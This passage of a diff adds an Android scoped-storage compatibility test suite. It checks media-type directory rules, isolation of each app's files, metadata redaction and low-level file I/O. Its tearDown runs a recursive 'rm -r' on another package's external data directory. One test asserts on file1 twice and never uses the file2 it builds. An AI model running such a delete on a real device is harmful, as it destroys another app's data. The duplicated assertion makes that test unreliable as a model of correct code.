+import static android.system.OsConstants.O_RDWR;
+import static android.system.OsConstants.O_TRUNC;
+import static android.system.OsConstants.R_OK;
+import static android.system.OsConstants.S_IRWXU;
+import static android.system.OsConstants.W_OK;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.pm.ProviderInfo;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.storage.StorageManager;
+import android.provider.DocumentsContract;
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.RedactionTestHelper;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.StructStat;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.cts.install.lib.TestApp;
+import com.android.modules.utils.build.SdkLevel;
+
+import com.google.common.io.Files;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify scoped storage business logic.
+ */
+@RunWith(Parameterized.class)
+public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
+ public static final String STR_DATA1 = "Just some random text";
+
+ public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
+
+ static final String TAG = "ScopedStorageDeviceTest";
+ static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String TEST_DIRECTORY_NAME = "ScopedStorageDeviceTestDirectory" + NONCE;
+
+ static final String AUDIO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp3";
+ static final String PLAYLIST_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".m3u";
+ static final String SUBTITLE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".srt";
+ static final String VIDEO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp4";
+ static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+ static final String NONMEDIA_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".pdf";
+
+ static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
+
+ // The following apps are installed before the tests are run via a target_preparer.
+ // See test config for details.
+ // An app with READ_EXTERNAL_STORAGE and READ_MEDIA_* permissions
+ private static final TestApp APP_A_HAS_RES =
+ new TestApp(
+ "TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres",
+ 1,
+ false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+ "android.scopedstorage.cts.testapp.filemanager", 1, false,
+ "CtsScopedStorageTestAppFileManager.apk");
+ // A legacy targeting app with RES and WES permissions
+ private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
+ private static final TestApp APP_E = new TestApp("TestAppE",
+ "android.scopedstorage.cts.testapp.E", 1, false, "CtsScopedStorageTestAppE.apk");
+ private static final TestApp APP_E_LEGACY = new TestApp("TestAppELegacy",
+ "android.scopedstorage.cts.testapp.E.legacy", 1, false,
+ "CtsScopedStorageTestAppELegacy.apk");
+ // APP_GENERAL_ONLY is not installed at test startup - please install before using.
+ private static final TestApp APP_GENERAL_ONLY = new TestApp("TestAppGeneralOnly",
+ "android.scopedstorage.cts.testapp.general.only", 1, false,
+ "CtsScopedStorageGeneralTestOnlyApp.apk");
+
+ private static final String[] SYSTEM_GALERY_APPOPS = {
+ AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+ private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+ permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+ private static final String TRANSFORMS_DIR = ".transforms";
+ private static final String TRANSFORMS_TRANSCODE_DIR = TRANSFORMS_DIR + "/" + "transcode";
+ private static final String TRANSFORMS_SYNTHETIC_DIR = TRANSFORMS_DIR + "/" + "synthetic";
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ /** Parameters data. */
+ @Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return ScopedStorageDeviceTest.getTestParameters();
+ }
+
+ @BeforeClass
+ public static void setupApps() throws Exception {
+ // File manager needs to be explicitly granted MES app op.
+ final int fmUid =
+ getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+ 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+ // Others are installed by target preparer with runtime permissions.
+ // Verify.
+ assertThat(checkPermission(APP_A_HAS_RES,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+ }
+
+ @Before
+ public void setupExternalStorage() throws Exception {
+ super.setupExternalStorage(mVolumeName);
+ Log.i(TAG, "Using volume : " + mVolumeName);
+ }
+
+ /**
+ * Test that we enforce certain media types can only be created in certain directories.
+ */
+ @Test
+ public void testTypePathConformity() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File documentsDir = getDocumentsDir();
+ final File downloadDir = getDownloadDir();
+ final File moviesDir = getMoviesDir();
+ final File musicDir = getMusicDir();
+ final File picturesDir = getPicturesDir();
+ // Only audio files can be created in Music
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, VIDEO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, IMAGE_FILE_NAME).createNewFile();
+ });
+ // Only video files can be created in Movies
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, IMAGE_FILE_NAME).createNewFile();
+ });
+ // Only image and video files can be created in DCIM
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ // Only image and video files can be created in Pictures
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile();
+ });
+
+ assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
+
+ // No file whatsoever can be created in the top level directory
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile();
+ });
+ }
+
+ /**
+ * Test that we enforce certain media types can only be created in certain directories.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTypePathConformity_recordingsDir() throws Exception {
+ final File recordingsDir = getRecordingsDir();
+
+ // Only audio files can be created in Recordings
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, VIDEO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, IMAGE_FILE_NAME).createNewFile();
+ });
+
+ assertCanCreateFile(new File(recordingsDir, AUDIO_FILE_NAME));
+ }
+
+ /**
+ * Test that we can create a file in app's external files directory,
+ * and that we can write and read to/from the file.
+ */
+ @Test
+ public void testCreateFileInAppExternalDir() throws Exception {
+ final File file = new File(getExternalFilesDir(), "text.txt");
+ try {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.delete()).isTrue();
+ // Ensure the file is properly deleted and can be created again
+ assertThat(file.createNewFile()).isTrue();
+
+ // Write to file
+ try (FileOutputStream fos = new FileOutputStream(file)) {
+ fos.write(BYTES_DATA1);
+ }
+
+ // Read the same data from file
+ assertFileContent(file, BYTES_DATA1);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /**
+ * Test that we can't create a file in another app's external files directory,
+ * and that we'll get the same error regardless of whether the app exists or not.
+ */
+ @Test
+ public void testCreateFileInOtherAppExternalDir() throws Exception {
+ // Creating a file in a non existent package dir should return ENOENT, as expected
+ final File nonexistentPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
+ assertThrows(
+ IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+ file1.createNewFile();
+ });
+
+ // Creating a file in an existent package dir should give the same error string to avoid
+ // leaking installed app names, and we know the following directory exists because shell
+ // mkdirs it in test setup
+ final File shellPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+ final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
+ assertThrows(
+ IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+ file1.createNewFile();
+ });
+ }
+
+ /**
+ * Test that apps can't read/write files in another app's external files directory,
+ * and can do so in their own app's external file directory.
+ */
+ @Test
+ public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+ final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create a file in app's external files directory
+ if (!videoFile.exists()) {
+ assertThat(videoFile.createNewFile()).isTrue();
+ }
+
+ // App A should not be able to read/write to other app's external files directory.
+ assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, false /* forWrite */)).isFalse();
+ assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, true /* forWrite */)).isFalse();
+ // App A should not be able to delete files in other app's external files
+ // directory.
+ assertThat(deleteFileAs(APP_A_HAS_RES, videoFile.getPath())).isFalse();
+
+ // Apps should have read/write access in their own app's external files directory.
+ assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
+ assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
+ // Apps should be able to delete files in their own app's external files directory.
+ assertThat(videoFile.delete()).isTrue();
+ } finally {
+ videoFile.delete();
+ }
+ }
+
+ /**
+ * Test that we can contribute media without any permissions.
+ */
+ @Test
+ public void testContributeMediaFile() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+
+ // Ensure that the file was successfully added to the MediaProvider database
+ assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
+
+ // Try to write random data to the file
+ try (FileOutputStream fos = new FileOutputStream(imageFile)) {
+ fos.write(BYTES_DATA1);
+ fos.write(BYTES_DATA2);
+ }
+
+ final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+ assertFileContent(imageFile, expected);
+
+ // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
+ // file's entry in MediaProvider's database.
+ assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
+
+ // Ensure that the scan was completed and the file's size was updated.
+ assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
+ BYTES_DATA1.length + BYTES_DATA2.length);
+ } finally {
+ imageFile.delete();
+ }
+ // Ensure that delete makes a call to MediaProvider to remove the file from its database.
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+ }
+
+ @Test
+ public void testCreateAndDeleteEmptyDir() throws Exception {
+ final File externalFilesDir = getExternalFilesDir();
+ // Remove directory in order to create it again
+ deleteRecursively(externalFilesDir);
+
+ // Can create own external files dir
+ assertThat(externalFilesDir.mkdir()).isTrue();
+
+ final File dir1 = new File(externalFilesDir, "random_dir");
+ // Can create dirs inside it
+ assertThat(dir1.mkdir()).isTrue();
+
+ final File dir2 = new File(dir1, "random_dir_inside_random_dir");
+ // And create a dir inside the new dir
+ assertThat(dir2.mkdir()).isTrue();
+
+ // And can delete them all
+ assertThat(deleteRecursively(dir2)).isTrue();
+ assertThat(deleteRecursively(dir1)).isTrue();
+ assertThat(deleteRecursively(externalFilesDir)).isTrue();
+
+ // Can't create external dir for other apps
+ final File nonexistentPackageFileDir = new File(
+ externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ final File shellPackageFileDir = new File(
+ externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+
+ assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
+ assertThat(shellPackageFileDir.mkdir()).isFalse();
+ }
+
+ @Test
+ public void testCantAccessOtherAppsContents() throws Exception {
+ final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+ // We can still see that the files exist
+ assertThat(mediaFile.exists()).isTrue();
+ assertThat(nonMediaFile.exists()).isTrue();
+
+ // But we can't access their content
+ assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+ assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+ }
+ }
+
+ @Test
+ public void testCantDeleteOtherAppsContents() throws Exception {
+ final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
+ final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(dirInDownload.mkdir()).isTrue();
+ // Have another app create a media file in the directory
+ assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+
+ // Can't delete the directory since it contains another app's content
+ assertThat(dirInDownload.delete()).isFalse();
+ // Can't delete another app's content
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Have another app create a non-media file in the directory
+ assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+ // Can't delete the directory since it contains another app's content
+ assertThat(dirInDownload.delete()).isFalse();
+ // Can't delete another app's content
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Delete only the media file and keep the non-media file
+ assertThat(deleteFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+ // Directory now has only the non-media file contributed by another app, so we still
+ // can't delete it nor its content
+ assertThat(dirInDownload.delete()).isFalse();
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Delete the last file belonging to another app
+ assertThat(deleteFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+ // Create our own file
+ assertThat(nonMediaFile.createNewFile()).isTrue();
+
+ // Now that the directory only has content that was contributed by us, we can delete it
+ assertThat(deleteRecursively(dirInDownload)).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+ // At this point, we're not sure who created this file, so we'll have both apps
+ // deleting it
+ mediaFile.delete();
+ deleteRecursively(dirInDownload);
+ }
+ }
+
+ /**
+ * Test that deleting uri corresponding to a file which was already deleted via filePath
+ * doesn't result in a security exception.
+ */
+ @Test
+ public void testDeleteAlreadyUnlinkedFile() throws Exception {
+ final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertTrue(nonMediaFile.createNewFile());
+ final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+ assertNotNull(uri);
+
+ // Delete the file via filePath
+ assertTrue(nonMediaFile.delete());
+
+ // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+ // security exception.
+ assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+ } finally {
+ nonMediaFile.delete();
+ }
+ }
+
+ /**
+ * This test relies on the fact that {@link File#list} uses opendir internally, and that it
+ * returns {@code null} if opendir fails.
+ */
+ @Test
+ public void testOpendirRestrictions() throws Exception {
+ // Opening a non existent package directory should fail, as expected
+ final File nonexistentPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ assertThat(nonexistentPackageFileDir.list()).isNull();
+
+ // Opening another package's external directory should fail as well, even if it exists
+ final File shellPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+ assertThat(shellPackageFileDir.list()).isNull();
+
+ // We can open our own external files directory
+ final String[] filesList = getExternalFilesDir().list();
+ assertThat(filesList).isNotNull();
+
+ // We can open any public directory in external storage
+ assertThat(getDcimDir().list()).isNotNull();
+ assertThat(getDownloadDir().list()).isNotNull();
+ assertThat(getMoviesDir().list()).isNotNull();
+ assertThat(getMusicDir().list()).isNotNull();
+
+ // We can open the root directory of external storage
+ final String[] topLevelDirs = getExternalStorageDir().list();
+ assertThat(topLevelDirs).isNotNull();
+ // TODO(b/145287327): This check fails on a device with no visible files.
+ // This can be fixed if we display default directories.
+ // assertThat(topLevelDirs).isNotEmpty();
+ }
+
+ @Test
+ public void testLowLevelFileIO() throws Exception {
+ String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
+ try {
+ int createFlags = O_CREAT | O_RDWR;
+ int createExclFlags = createFlags | O_EXCL;
+
+ FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
+ Os.close(fd);
+ assertThrows(
+ ErrnoException.class, () -> {
+ Os.open(filePath, createExclFlags, S_IRWXU);
+ });
+
+ fd = Os.open(filePath, createFlags, S_IRWXU);
+ try {
+ assertThat(Os.write(fd,
+ ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
+ assertFileContent(fd, BYTES_DATA1);
+ } finally {
+ Os.close(fd);
+ }
+ // should just append the data
+ fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
+ try {
+ assertThat(Os.write(fd,
+ ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
+ final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+ assertFileContent(fd, expected);
+ } finally {
+ Os.close(fd);
+ }
+ // should overwrite everything
+ fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
+ try {
+ final byte[] otherData = "this is different data".getBytes();
+ assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
+ assertFileContent(fd, otherData);
+ } finally {
+ Os.close(fd);
+ }
+ } finally {
+ new File(filePath).delete();
+ }
+ }
+
+ /**
+ * Test that media files from other packages are only visible to apps with storage permission.
+ */
+ @Test
+ public void testListDirectoriesWithMediaFiles() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
+ final File videoFile = new File(dir, VIDEO_FILE_NAME);
+ final String videoFileName = videoFile.getName();
+ try {
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getPath())).isTrue();
+ // App B should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
+ assertThat(listAs(APP_B_NO_PERMS, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(videoFileName);
+
+ // App A has storage permission, so should see TEST_DIRECTORY in DCIM and new file
+ // in TEST_DIRECTORY.
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_A_HAS_RES, dir.getPath())).containsExactly(videoFileName);
+
+ // We are an app without storage permission; should see TEST_DIRECTORY in DCIM and
+ // should not see new file in new TEST_DIRECTORY.
+ assertThat(dcimDir.list()).asList().contains(TEST_DIRECTORY_NAME);
+ assertThat(dir.list()).asList().doesNotContain(videoFileName);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
+ deleteRecursively(dir);
+ }
+ }
+
+ /**
+ * Test that app can't see non-media files created by other packages
+ */
+ @Test
+ public void testListDirectoriesWithNonMediaFiles() throws Exception {
+ final File downloadDir = getDownloadDir();
+ final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
+ final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
+ final String pdfFileName = pdfFile.getName();
+ try {
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ // Have App B create non media file in the new directory.
+ assertThat(createFileAs(APP_B_NO_PERMS, pdfFile.getPath())).isTrue();
+
+ // App B should see TEST_DIRECTORY in downloadDir and new non media file in
+ // TEST_DIRECTORY.
+ assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
+
+ // APP A with storage permission should see TEST_DIRECTORY in downloadDir
+ // and should not see non media file in TEST_DIRECTORY.
+ assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
+ deleteRecursively(dir);
+ }
+ }
+
+ /**
+ * Test that app can only see its directory in Android/data.
+ */
+ @Test
+ public void testListFilesFromExternalFilesDirectory() throws Exception {
+ final String packageName = THIS_PACKAGE_NAME;
+ final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
+
+ try {
+ // Create a file in app's external files directory
+ if (!nonmediaFile.exists()) {
+ assertThat(nonmediaFile.createNewFile()).isTrue();
+ }
+ // App should see its directory and directories of shared packages. App should see all
+ // files and directories in its external directory.
+ assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
+
+ // App A should not see other app's external files directory despite RES.
+ assertThrows(IOException.class,
+ () -> listAs(APP_A_HAS_RES, getAndroidDataDir().getPath()));
+ assertThrows(IOException.class,
+ () -> listAs(APP_A_HAS_RES, getExternalFilesDir().getPath()));
+ } finally {
+ nonmediaFile.delete();
+ }
+ }
+
+ /**
+ * Test that app can see files and directories in Android/media.
+ */
+ @Test
+ public void testListFilesFromExternalMediaDirectory() throws Exception {
+ final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create a file in app's external media directory
+ if (!videoFile.exists()) {
+ assertThat(videoFile.createNewFile()).isTrue();
+ }
+
+ // App should see its directory and other app's external media directories with media
+ // files.
+ assertDirectoryContains(videoFile.getParentFile(), videoFile);
+
+ // App A with storage permission should see other app's external media directory.
+ // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
+ // directory.
+ assertThat(listAs(APP_A_HAS_RES, getAndroidMediaDir().getPath()))
+ .contains(THIS_PACKAGE_NAME);
+ assertThat(listAs(APP_A_HAS_RES, getExternalMediaDir().getPath()))
+ .containsExactly(videoFile.getName());
+ } finally {
+ videoFile.delete();
+ }
+ }
+
+ @Test
+ public void testMetaDataRedaction() throws Exception {
+ File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
+ try {
+ if (jpgFile.exists()) {
+ assertThat(jpgFile.delete()).isTrue();
+ }
+
+ HashMap<String, String> originalExif =
+ getExifMetadataFromRawResource(R.raw.img_with_metadata);
+
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(jpgFile)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ // Sync file to disk to ensure file is fully written to the lower fs attempting to
+ // open for redaction. Otherwise, the FUSE daemon might not accurately parse the
+ // EXIF tags and might misleadingly think there are not tags to redact
+ out.getFD().sync();
+
+ HashMap<String, String> exif = getExifMetadataFromFile(jpgFile);
+ assertExifMetadataMatch(exif, originalExif);
+
+ HashMap<String, String> exifFromTestApp =
+ readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
+ // App does not have AML; shouldn't have access to the same metadata.
+ assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+ // TODO(b/146346138): Test that if we give APP_A write URI permission,
+ // it would be able to access the metadata.
+ } // Intentionally keep the original streams open during the test so bytes are more
+ // likely to be in the VFS cache from both file opens
+ } finally {
+ jpgFile.delete();
+ }
+ }
+
+ @Test
+ public void testOpenFilePathFirstWriteContentResolver() throws Exception {
+ String displayName = "open_file_path_write_content_resolver.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
